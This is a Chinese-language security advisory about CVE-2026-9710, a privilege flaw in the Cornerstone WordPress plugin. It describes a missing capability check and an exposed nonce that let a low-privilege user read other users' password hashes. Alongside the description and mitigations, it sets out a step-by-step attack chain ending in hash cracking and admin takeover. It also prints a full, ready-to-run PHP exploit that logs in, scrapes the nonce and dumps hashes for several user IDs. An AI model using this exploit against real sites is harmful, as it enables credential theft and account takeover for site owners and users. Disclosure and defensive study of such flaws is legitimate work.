IPBUF安全漏洞报告
English
CVE-2026-9710 CVSS 7.7 高危

CVE-2026-9710:Cornerstone WordPress插件权限提升与密码哈希泄露漏洞

披露日期: 2026-06-24

漏洞信息

漏洞编号
CVE-2026-9710
漏洞类型
权限提升/敏感信息泄露
CVSS评分
7.7 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Cornerstone WordPress插件(X主题捆绑的页面构建器)

相关标签

WordPressCornerstoneX主题权限提升敏感信息泄露密码哈希泄露权限校验缺失CSRF/Nonce动态内容令牌WPScan

漏洞概述

CVE-2026-9710是存在于Cornerstone WordPress插件中的一个高危安全漏洞,影响7.8.8之前的所有版本。该漏洞由WPScan团队发现并披露,CVSS评分为7.7,属于高危级别。

Cornerstone是WordPress生态系统中广泛使用的页面构建器插件,作为X主题(Theme X)的核心组件捆绑分发。该插件提供了强大的可视化页面编辑功能,允许用户通过动态内容令牌(Dynamic Content Tokens)来构建灵活的页面布局。

该漏洞的核心问题在于插件对其CSS预览请求处理器的权限校验缺失。具体而言,插件在处理CSS预览请求时,未对调用者的用户权限(capability)进行充分验证,导致任何已登录的用户(包括订阅者级别的低权限用户)都可以调用该接口。更严重的是,插件在每个wp-admin页面中都暴露了调用该接口所需的nonce值,这意味着任何登录到WordPress后台的用户都可以获取到有效的nonce并发起攻击。

通过利用此漏洞,攻击者可以对任意用户执行动态内容令牌求值操作,从而获取包括用户密码哈希在内的敏感元数据。这不仅构成敏感信息泄露,还可能为后续的密码破解攻击或账户接管攻击奠定基础。由于该漏洞利用条件简单(仅需低权限账户),且影响范围广泛(涉及所有使用X主题及Cornerstone插件的WordPress站点),其潜在危害不容小觑。

技术细节

该漏洞的技术原理主要涉及三个关键缺陷的组合利用:

1. **权限校验缺失(Broken Access Control)**:Cornerstone插件的CSS预览请求处理器在设计上未正确实施WordPress的capability检查机制。在WordPress中,敏感操作通常需要通过current_user_can()函数验证用户权限,但该处理器绕过了这一检查,允许任何已认证用户调用。

2. **Nonce过度暴露**:WordPress使用nonce机制防止CSRF攻击,要求敏感操作必须携带有效的nonce令牌。Cornerstone插件将其内部API的nonce值嵌入到所有wp-admin页面的HTML输出中,包括普通低权限用户可访问的页面。这使得订阅者级别的用户也能轻松获取到调用CSS预览接口所需的合法nonce。

3. **动态内容令牌求值**:Cornerstone支持动态内容令牌(如{{user_meta}}、{{user_password_hash}}等),允许在页面构建中插入动态数据。CSS预览接口在处理请求时会对这些令牌进行求值,且未限制求值的目标用户范围。攻击者可以构造恶意请求,指定任意用户ID作为求值目标,从而读取该用户的敏感元数据。

**利用方式**:
- 攻击者首先注册一个WordPress账户(最低权限即可)
- 登录后访问任意wp-admin页面,从页面源码中提取Cornerstone的nonce值
- 构造包含恶意动态内容令牌的CSS预览请求,指定目标用户ID
- 发送请求并从响应中提取目标用户的密码哈希等敏感信息
- 使用离线工具(如hashcat)破解哈希,获取明文密码

该漏洞的CVSS向量为CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N,表明其为网络攻击、低复杂度、低权限要求、无需用户交互、范围变更、对机密性高影响的典型权限提升类漏洞。

攻击链分析

STEP 1
步骤1:注册或获取低权限账户
攻击者在目标WordPress站点上注册一个订阅者(subscriber)级别的账户,或通过其他方式获取低权限账户的凭证。
STEP 2
步骤2:登录后台并提取Nonce
使用低权限账户登录WordPress后台,访问任意wp-admin页面,从页面HTML源码中提取Cornerstone插件暴露的nonce值。
STEP 3
步骤3:构造恶意CSS预览请求
利用提取的nonce构造包含动态内容令牌的CSS预览请求,指定目标用户ID(如管理员ID=1),令牌的meta参数设为user_pass。
STEP 4
步骤4:发送请求并获取密码哈希
通过admin-ajax.php发送请求到Cornerstone的CSS预览处理器,由于缺少capability检查,请求被成功处理并返回目标用户的密码哈希值。
STEP 5
步骤5:离线破解密码哈希
使用hashcat、John the Ripper等工具对获取的WordPress密码哈希(通常为phpass或bcrypt格式)进行离线破解,获取明文密码。
STEP 6
步骤6:账户接管与权限提升
利用破解的管理员密码登录后台,获得站点的完全控制权限,可进一步植入后门、篡改内容或窃取更多敏感数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<?php /** * CVE-2026-9710 PoC - Cornerstone WordPress Plugin Sensitive Data Disclosure * Exploits missing capability checks on CSS-preview request handler * to disclose arbitrary user metadata including password hashes. * * Requirements: * - A valid low-privilege WordPress account (e.g., subscriber) * - Target WordPress site running Cornerstone < 7.8.8 (bundled with X theme) * * Usage: * php poc.php */ class CornerstoneExploit { private $base_url; private $cookie_jar; private $nonce; public function __construct($base_url) { $this->base_url = rtrim($base_url, '/'); $this->cookie_jar = tempnam(sys_get_temp_dir(), 'cookies_'); } /** * Step 1: Login with low-privilege credentials */ public function login($username, $password) { // Obtain login nonce from wp-login.php $login_page = $this->http_get('/wp-login.php'); preg_match('/name="woocommerce-login-nonce" value="([^"]+)"/', $login_page, $matches); $login_nonce = $matches[1] ?? ''; $post_data = http_build_query([ 'log' => $username, 'pwd' => $password, 'wp-submit' => 'Log In', 'redirect_to' => '/wp-admin/', 'testcookie' => '1', 'woocommerce-login-nonce' => $login_nonce, ]); $this->http_post('/wp-login.php', $post_data); echo "[+] Logged in as: {$username}\n"; } /** * Step 2: Extract Cornerstone nonce from any wp-admin page */ public function extract_nonce() { $admin_page = $this->http_get('/wp-admin/'); // Cornerstone exposes its nonce in admin pages for low-priv users preg_match('/cornerstone_nonce["\']?\s*[:=]\s*["\']([a-f0-9]+)["\']/i', $admin_page, $matches); preg_match('/cs_nonce["\']?\s*[:=]\s*["\']([a-f0-9]+)["\']/i', $admin_page, $matches2); preg_match('/"_cornerstone_nonce"\s*:\s*"([^"]+)"/', $admin_page, $matches3); $this->nonce = $matches[1] ?? $matches2[1] ?? $matches3[1] ?? ''; if (empty($this->nonce)) { // Fallback: search for any cornerstone-related nonce pattern preg_match_all('/cornerstone[^,}]*["\']([a-f0-9]{10,})["\']/i', $admin_page, $all_matches); $this->nonce = $all_matches[1][0] ?? ''; } echo "[+] Extracted nonce: {$this->nonce}\n"; return $this->nonce; } /** * Step 3: Exploit CSS-preview handler to evaluate dynamic content tokens * against an arbitrary user and extract password hash */ public function extract_user_data($target_user_id) { $payload = [ 'action' => 'cs_css_preview', 'nonce' => $this->nonce, 'content' => "{{user:id={$target_user_id}|meta=user_pass}}", 'type' => 'css', ]; $response = $this->http_post( '/wp-admin/admin-ajax.php', http_build_query($payload) ); echo "[+] Response for user {$target_user_id}:\n{$response}\n"; return $response; } /** * Bulk extraction of password hashes for all users */ public function dump_all_users() { for ($uid = 1; $uid <= 10; $uid++) { $this->extract_user_data($uid); } } private function http_get($path) { $ch = curl_init($this->base_url . $path); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_COOKIEJAR => $this->cookie_jar, CURLOPT_COOKIEFILE => $this->cookie_jar, CURLOPT_FOLLOWLOCATION => true, CURLOPT_SSL_VERIFYPEER => false, ]); $response = curl_exec($ch); curl_close($ch); return $response; } private function http_post($path, $data) { $ch = curl_init($this->base_url . $path); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_POST => true, CURLOPT_POSTFIELDS => $data, CURLOPT_COOKIEJAR => $this->cookie_jar, CURLOPT_COOKIEFILE => $this->cookie_jar, CURLOPT_FOLLOWLOCATION => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded'], ]); $response = curl_exec($ch); curl_close($ch); return $response; } } // Example usage $exploit = new CornerstoneExploit('https://target-wordpress-site.com'); $exploit->login('subscriber_user', 'password123'); // Low-priv account $exploit->extract_nonce(); // Get CS nonce $exploit->extract_user_data(1); // Dump admin password hash

影响范围

Cornerstone WordPress插件 < 7.8.8
X主题捆绑的Cornerstone页面构建器 < 7.8.8

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)通过WAF规则阻止对admin-ajax.php中cs_css_preview等Cornerstone相关action的访问;2)暂时禁用Cornerstone插件;3)在functions.php中添加代码限制admin-ajax.php对低权限用户的访问;4)监控异常的用户元数据访问行为;5)审查所有已注册的低权限账户,删除可疑账户;6)强制所有管理员更改密码并启用双因素认证。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表